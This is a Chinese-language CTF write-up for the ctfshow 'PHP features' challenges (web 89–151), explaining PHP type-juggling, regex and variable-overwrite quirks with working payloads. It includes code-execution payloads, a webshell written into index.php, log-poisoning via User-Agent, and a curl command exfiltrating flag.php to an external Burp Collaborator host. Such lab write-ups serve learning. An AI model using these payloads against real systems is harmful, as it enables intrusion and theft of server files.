ctfshow_php特性
ctfshow_php特性
CH0icoweb 89
1 | if(isset($_GET['num'])){ |
num 不能含有 0-9 , 但是需要是数字
传入空数组 ( 被认为是零 )
?num[]=1
web 90
1 | if(isset($_GET['num'])){ |
num != 4476 但是 num === 4476
通过 intval 函数来 int 转换
?num=4476.0
因为我们提交的参数值默认就是字符串类型 所以我们可以直接输入 ?num=4476%23
web 91
1 | if(preg_match('/^php$/im', $a)){ |
preg_match('/^php$/im', $a)
:这个函数尝试在变量$a
中搜索与正则表达式/^php$/im
匹配的模式。这里的正则表达式含义如下:
^
表示匹配字符串的开始php
是要匹配的字符串$
表示匹配字符串的结束i
是一个修饰符,表示不区分大小写m
是另一个修饰符,表示多行匹配
当出现换行符 %0a
的时候,$cmd 的值会被当做两行处理
cmd=1%0aphp
web 92
类似 90 , 但是弱比较 num 不能若等于 4476, 用十六进制绕过
num=0x117c
web 93
类似 90 , 但是弱比较 num 不能若等于 4476 且不出现字母 , 用八进制绕过
num=010574
web 94
1 |
|
num 不能强等于 4476 不能出现小写字母 开头不能出现 0 int 等于 4476
strpos($num, “0”) (在 PHP 中字符串索引是从 0 开始的)。如果字符串中第一位没有字符 “0”,strpos
将返回 false
num=%20010574 或者 num=+010574 绕过 0
也可以?num=4476.0
web 95
同 94
web 96
1 | if(isset($x)){ |
u=./flag.php
u=php://filter/resource=flag.php
web 97
1 | if (isset($_POST['a']) and isset($_POST['b'])) { |
a[]=1&b[]=2
空数组 md5 为 Null Null === Null
web 98
1 | $_GET?$_GET=&$_POST:'flag'; |
POST 覆盖
/?flag=1
HTTP_FLAG = flag
web 99
1 | $allow = array(); |
in_array(search,array,type)
如果给定的值 search 存在于数组 array 中则返回 true
如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true
如果没有在数组中找到参数,函数返回 false
如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写
没有第三个参数的时候进行的就是弱比较,就会存在强制的类型转换,如 search = 123.php 就会转换成 123
1 | import requests |
web 100
1 | //flag in class ctfshow; |
- v0= v1 and v2 and v3
php 比较运算符有优先级 && > = >and
因此 v0 = true and false and false 就可以
- eval(“ $v2 (‘ctfshow’) $v3 “);
v2 在前面 可以执行命令
v3 根据过滤条件需要分号
- payload
1 | ?v1=1&v2=system("ls")&v3=; |
$flag_is_3374fd05 0x2d bef5 0x2d 49f6 0x2d aa45 0x2d cfecd0af4051
0x2D | - | 减号/破折号 |
---|
flag={3374fd05-bef5-49f6-aa45-cfecd0af4051}
web 101
1 | $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); |
- ReflectionClass 反射类在 PHP5 新加入,继承自 Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作
反射类不仅仅可以建立对类的映射,也可以建立对 PHP 基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类 new ReflectionClass(system(‘cmd’))来执行命令 - 目标
1 | eval("echo new ReflectionClass('ctfshow');"); |
- payload
1 | ?v1=1&v2=echo%20new%20ReflectionClass&v3=; |
ctfshow{fd3d778c-afe1-4534-bf68-189b3b53742 }
最后一位需要爆破 16 次,题目给的 flag 少一位 我这里是 9
web 102
1 | if(numberic($v2)){ |
is_numeric( ) 用于检测是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 true,如果字符串中含有一个 e 代表科学计数法,也可返回 true
substr( $v2,2 ) 相当于返回v2[2:]
call_user_func( $f , $cmd ) 用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents( $v3,$str ) 是将$str的内容写入并保存为$v3
目标
1 | $s = 00shell; //shell为base64版本的ascii的十六进制 过数字检验 |
其中 shell: <?=tac *
;
GET:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=choco.php
POST:v1=hex2bin
web 103
1 |
|
同 102
1 | /?v2=225044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=choco.php |
web 104
1 | $v1 = $_POST['v1']; |
?
v1=1 v2=1 就行???
数组绕过也行
web 105
1 | $error='no'; |
方法一
利用 die($error);
让 flag 不是”flag” (不传就行 ) , error 是”flag”
但是 error 要用 post 传 不能直接传 flag, 那就利用变量覆盖
1 | /?suces=flag |
方法二
利用 die($suces);
要让 flag 是”flag” , suces 是”flag”
1 | /?suces=flag&flag=sucess |
有点多此一举, 换成这个 (纯覆盖做法
1 | /?suces=flag&flag=1 |
web 106
/?v2=2
v1[]=1
web 107
1 | if(isset($_POST['v1'])){ |
parse_str($v1,$v2); $v2[‘flag’]
意思是 返回 $v2数组中的flag属性 (flag属性由$v1 提供)
1 | /?$v3=1 #MD5:c4ca4238a0b923820dcc509a6f75849b |
进一步的, 因为 md5 不处理数组 以及处理出 0exxxxx 的时候会用 0 去弱比较
1 | ?v3[]=1 |
web 108
1 | if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) //c=[a-Z] |
ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回 true,否则返回 false
搜索对于字母字符是区分大小写的,这里是 c 的值要为[a-zA-Z].
ereg 函数存在 NULL 截断漏洞,导致了正则过滤被绕过,所以可以使用%00 截断正则匹配
strrev() 函数反转字符串
intval() 函数用于获取变量的整数值
c=choco%00778
web 109
1 | if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ |
目标: eval(“echo new ReflectionClass(system(’ls’));
1 | /?v1=ReflectionClass&v2=system('ls') |
或者利用内置函数
?v1=mysqli&v2=system(‘tac fl36dg.txt’)
web 110
1 | if(!preg_match('/[a-zA-Z]+/', $v1)){ |
过滤太多了, 只考虑利用内置函数
可以使用 FilesystemIterator 文件系统迭代器来进行利用
通过新建 FilesystemIterator,使用 getcwd()来显示当前目录下的文件结构
1 | ?v1=FilesystemIterator&v2=getcwd |
web 111
1 | function getFlag(&$v1,&$v2){ |
利用 getflag —> var_dump —> 带出全局变量
$GLOBALS
是 PHP 中的一个超全局数组,它包含了所有的全局变量,这意味着你可以通过它在脚本的任何地方访问变量,而不需要使用 global
关键字来声明。这些变量包括但不限于:
$_GET
:包含通过 GET 方法传递的查询字符串变量。$_POST
:包含通过 POST 方法传递的变量。$_COOKIE
:包含由 cookies 传递的变量。$_FILES
:包含通过 POST 方法上传的文件的信息。$_SESSION
:用于会话处理的变量。$_SERVER
:包含了诸如头信息、路径和脚本位置等信息。
payload
- v1 含有 ctfshow 触发函数
- v2 是全局变量 (URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null)
1 | /?v1=ctfshowchoco&v2=GLOBALS |
web 112
1 | if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ |
/?file=php://filter/resource=flag.php
柠檬!!! 省赛考到了这个 不过省赛没给过滤条件 得自己猜
web 113
两种解法:
1.利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root 代表根目录,进行目录溢出,超过 is_file 能处理的最大长度就不认为是个文件了。file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
2.利用 php 中 zip 伪协议 用法[源于 php 官方提供的一些例子]:
file=compress.zlib://flag.php
web 114
1 | if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ |
web 115
1 | function filter($num){ |
%0c %2B(加号) - . 这四个可以绕过 trim 函数过滤 负号改变数值, 加号和点被过滤
试了一下就只有%0c 可以( 对应于控制字符 FORM FEED (FF)
,在 URL 编码中,它通常用来表示字符本身的结束。)
?num=%0c36
web 123
1 | $a=$_SERVER['argv']; |
- 目标: eval(echo $flag)
- CTF_SHOW.COM 需要传值
- CTF_SHOW.COM 里面有 点 ,所以前面的下划线用[代替, [被转换成下划线 构造出参数名
出现了[之后 php 就会去找],如果找到了那就是数组,没有找到就被被解析成_
payload
fun=echo $flag&CTF[SHOW.COM=1&CTF_SHOW=1
web 125
123 基础上禁用 echo flag 这些
利用 highlight_file()
/?coco=flag.php
CTF[SHOW.COM=1&CTF_SHOW=1&fun=highlight_file($_GET[coco])
web 126
禁用 g i f c o d
在 web 页模式下必须在 php.ini 开启 register_argc_argv 配置项
设置 register_argc_argv = On(默认是 Off),重启服务,$_SERVER[‘argv’]才会有效
$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
也就是$a[0]= $_SERVER[‘QUERY_STRING’]
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($_SERVER[‘QUERY_STRING’])
这段代码将 CTF_SHOW 和 CTF[SHOW.COM 设置为空字符串,
然后使用 assert($_SERVER[‘QUERY_STRING’]) 执行 assert 函数,
其中传递的参数是 $_SERVER[‘QUERY_STRING’]。
在网页模式下,$_SERVER[‘QUERY_STRING’] 包含了从 URL 中获取的查询字符串。
它被直接传递给了 assert 函数。 这样的代码结构允许通过修改 URL 中的查询字符串来执行任意的 PHP 代码。
因为 assert 函数用于执行字符串中的 PHP 代码。
1 | /?$fl0g=flag_give_me |
web 127
利用空格会被转换成_的特性
/?ctf%20show=ilove36d
至于为什么 ctf_show 这个属性会被修改:
web123-127 中利用$_SERVER[‘argv’]
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。
‘argv’
传递给该脚本的参数的数组。
当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。
当通过 GET 方式调用时,该变量包含 query string。
即通过$_SERVER[‘argv’] 将$a 变成数组,
再利用数组的性质将 fl0g=flag_give_me 传入,
同时还绕过第一个 if 中的!isset($_GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。
执行 eval 函数== 执行$c ==parse_str($a[1])
使得 fl0g=flag_give_me,从而进入第三个 if 语句
1 | ?a=1+fl0g=flag_give_me |
web 128
1 | $f1 = $_GET['f1']; |
get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
1 | ?f2=get_defined_vars&f1=_ |
_()是一个函数
_()==gettext() 是 gettext()的拓展函数,开启 text 扩展。需要 php 扩展目录下有 php_gettext.dll
get_defined_vars()函数
返回由所有已定义变量所组成的数组 这样可以获得 $flag
因此实际效果
1 | call_user_func(call_user_func($f1,$f2)) |
web 129
1 | if(stripos($f, 'ctfshow')>0){ |
stripos 函数用于查询出现位置 且不区分大小写
/?f=/../../../../ctfshow/../../../../../../../var/www/html/flag.php
web 130
主要考察一个 0 === fase
直接 f=ctfshow 秒了
web 131
这里正则表达式绕不过了 , 这里考察了 正则表达式溢出
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
大概意思就是在 php 中正则表达式进行匹配有一定的限制,超过限制直接返回 false
1 | import requests |
或者
1 | import requests |
web 132
/?username=admin&code=admin&password=1
考察了个 || 优先级比 && 低
web 133 Collaborator Client
在 BP 中复制 Collaborator Client 的公网地址
mj9u96j7gih673gwhx6d3414ivomcb.burpcollaborator.net
利用$F传参 发送payload (注意curl前面是有2个空格凑6位截取的 反引号中因为$F 没有意义 php 会自动向后寻找命令执行)
1 | https://1dd48bec-b42c-4f12-99a9-6115cd45aa53.challenge.ctf.show/?F=`$F`; curl -X POST -F xx=@flag.php mj9u96j7gih673gwhx6d3414ivomcb.burpcollaborator.net/ |
传递?F=$F
;+sleep 3 好像网站确实 sleep 了一会说明的确执行了命令
那为什么会这样?
因为是我们传递的 $F
;+sleep 3。先进行 substr()函数截断然后去执行 eval()函数
这个函数的作用是执行 php 代码,``是 shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的$F
;+sleep 3 使用最后执行的代码应该是
``$F ;sleep 3
curl -F 将 flag 文件上传到 Burp 的 Collaborator Client ( Collaborator Client 类似 DNSLOG,其功能要比 DNSLOG 强大,主要体现在可以查看 POST 请求包以及打 Cookies)
web 134
1 | $key1 = 0; |
parse_str( ):把查询字符串解析到变量中
extract( ):函数从数组中将变量导入到当前的符号表
$_SERVER[‘QUERY_STRING’]:web127
还是利用$_SERVER 传参
1 | parse_str($_SERVER['QUERY_STRING']); |
考察: php 变量覆盖 利用点是 extract($_POST); 进行解析$_POST 数组。
先将 GET 方法请求的解析成变量,然后在利用 extract( ) 函数从数组中将变量导入到当前的符号表。
web 135
1 | ?F=`$F `;cp flag.php 1.txt |
访问./1.txt
( 因为 133 没有写的权限 这题是有的 目前这是最简单方法 dnslog 带出应该也是可以的 现在凌晨一点 就不麻烦了)
web 136
1 | function check($x){ |
- exec,是执行一个外部程序,回显最后一行,需要用 echo 输出, 这里没有 echo 输出 因此需要重写到其他文件再访问
- 但是这里过滤了>符号, 用 tee 指令代替
1 | tee a.txt b.txt # 将a.txt复制到b.txt |
- payload
1 | ?c=ls /|tee ls |
web 137
1 | class ctfshow |
触发 ctfshow.getflag()
POST ctfshow::getFlag
web 138
1 | class ctfshow |
触发 ctfshow.getflag() 但是禁用了冒号
这里用数组触发 call_user_func( )
POST ctfshow[0]=ctfshow&ctfshow[1]=getFlag
1 | call_user_func('ctfshow','getFlag'); |
web 139
1 | function check($x){ |
很像 136 但是这次不让写了 只能利用分隔符盲注
1 | import requests |
但是这个格式 懒得改
1 | import requests |
很慢 www
ctfshow{eb94540e-5e6f-443b-a821-54f65d37a04e}
web 140
1 | $f1 = (String)$_POST['f1']; |
- f1 f2 是数字字母
- 使得 int($code) == ‘ctfshow’ 成立
- 在弱等于中 0 == ‘ctfshow’ (Null == ‘ctfshow’ 不成立)
- f1 f2 等于 sha1 md5 serialize 都行 (因为没有参数 返回 0)
web 141
1 | $v1 = (String)$_GET['v1']; |
- 正则匹配严格
^
:匹配字符串的开始。\W
:匹配任何非单词字符(等价于[^a-zA-Z0-9_]
),即不是字母、数字或下划线。+
:表示前面的字符或组可以重复一次或多次。$
:匹配字符串的结束。
如果 $v3
包含任何字母、数字或下划线,正则表达式将不会匹配
这里构造无数字字母的 payload v3 (自增 取反之类)
v1 v2 随便数字就行
注意的是这里有个 return 干扰,所以要在 v3 的 payload 前边和后面加上一些字符就可以执行命令,例如+ - * 等等 (总之 v3 要跟前后分隔开 不然 1system()2 系统不知道是什么)
1 |
|
1 | ?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b"); |
?v1=1&v2=1&v3=*(“%08%02%08%08%05%0d”^”%7b%7b%7b%7c%60%60”)(“%0c%08”^”%60%7b”); // system ls
/?v1=1&v2=1&v3=*(“%13%19%13%14%05%0d”|”%60%60%60%60%60%60”)(“%14%01%03%00%06%0c%01%07%00%10%08%10”|”%60%60%60%20%60%60%60%60%2e%60%60%60”); // system tac flag.php
web 142
1 | $v1 = (String)$_GET['v1']; |
什么昏睡红茶
利用高深的小学数学原理 传入 v1=-1
查看源码得到 flag
web 143
1 | $v1 = (String)$_GET['v1']; |
%无了(但是为什么能用啊)
分号无了 最后的分号用 ?>或者*代替
?v1=1&v2=1&v3=(“%0c%06%0c%0b%05%0d”^”%7f%7f%7f%7f%60%60”)(“%0b%01%03%00%06%0c%01%07%01%0f%08%0f”^”%7f%60%60%20%60%60%60%60%2f%7f%60%7f”)
web 144
1 | if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ |
换了个参数而已
?v1=1&v3=1&v2=*(“%08%02%08%08%05%0d”^”%7b%7b%7b%7c%60%60”)(“%08%01%03%00%06%0c%01%07%00%0b%08%0b”^”%7c%60%60%20%60%60%60%60%2e%7b%60%7b”);
web 145
1 | if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ |
过滤了异或 可以取反, ; * +- 也被过滤 用 |
?v1=1&v2=1&v3=|(%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
web 146
同 145
web 147
1 | if(isset($_POST['ctf'])){ |
hint
php 里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名 function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他 namespace 里调用系统类,就必须写绝对路径这种写法
这里利用create_function()
进行代码注入
1 | # string create_function( string $args, string $code) |
那么传入
GET: ?show=echo choco;}system(“tac f*”);/*
POST: ctf=\create_function
代码就变成了
1 | function f(null){ |
web 148
1 | if(isset($_GET['code'])){ |
/?code=(“%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07”^”%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60”)();
web 149
1 | $files = scandir('./'); |
一句话木马写入到 index.php
GET: ?ctf=index.php
POST: show=
因为位置原因, 只能一次写成功..
1=system(’tac /ctfshow_fl0g_here.txt’);
web 150
1 | class CTFSHOW{ |
- 发现 include( ) 日志包含 UA 写入一句话木马 到/var/log/nginx/access.log
1 | User-Agent: eval($_POST[1]); |
- 变量覆盖 触发 include, 其中$isVIP 是由 extract 变量覆盖 ?isVIP =⇒ $isVIP
get ?isVIP=true
post ctf=/var/log/nginx/access.log&1=system(‘tac f*‘);
ctfshow{c1abd3de-d4cf-402a-9a89-127ffb7fd89e}
web 151
1 | class CTFSHOW{ |
不让用日志了
- 原题说是需要条件竞争,所以 flag 改为了环境变量, 在 phpinfo 后查找即可获得
- 利用.会被改成_ payload: /?..CTFSHOW..=phpinfo
- 搜一下 ctfshow 就行
autoload()函数不是类里面的
autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo 就可以看到 phpinfo 信息啦
原因是..CTFSHOW..解析变量成CTFSHOW然后进行了变量覆盖,因为 CTFSHOW 是类就会使用
__autoload()函数方法,去加载,因为等于 phpinfo 就会去加载 phpinfo
整个链就是 $CTFSHOW ⇒ class_exists ⇒ __autoload ⇒ 加载 phpinfo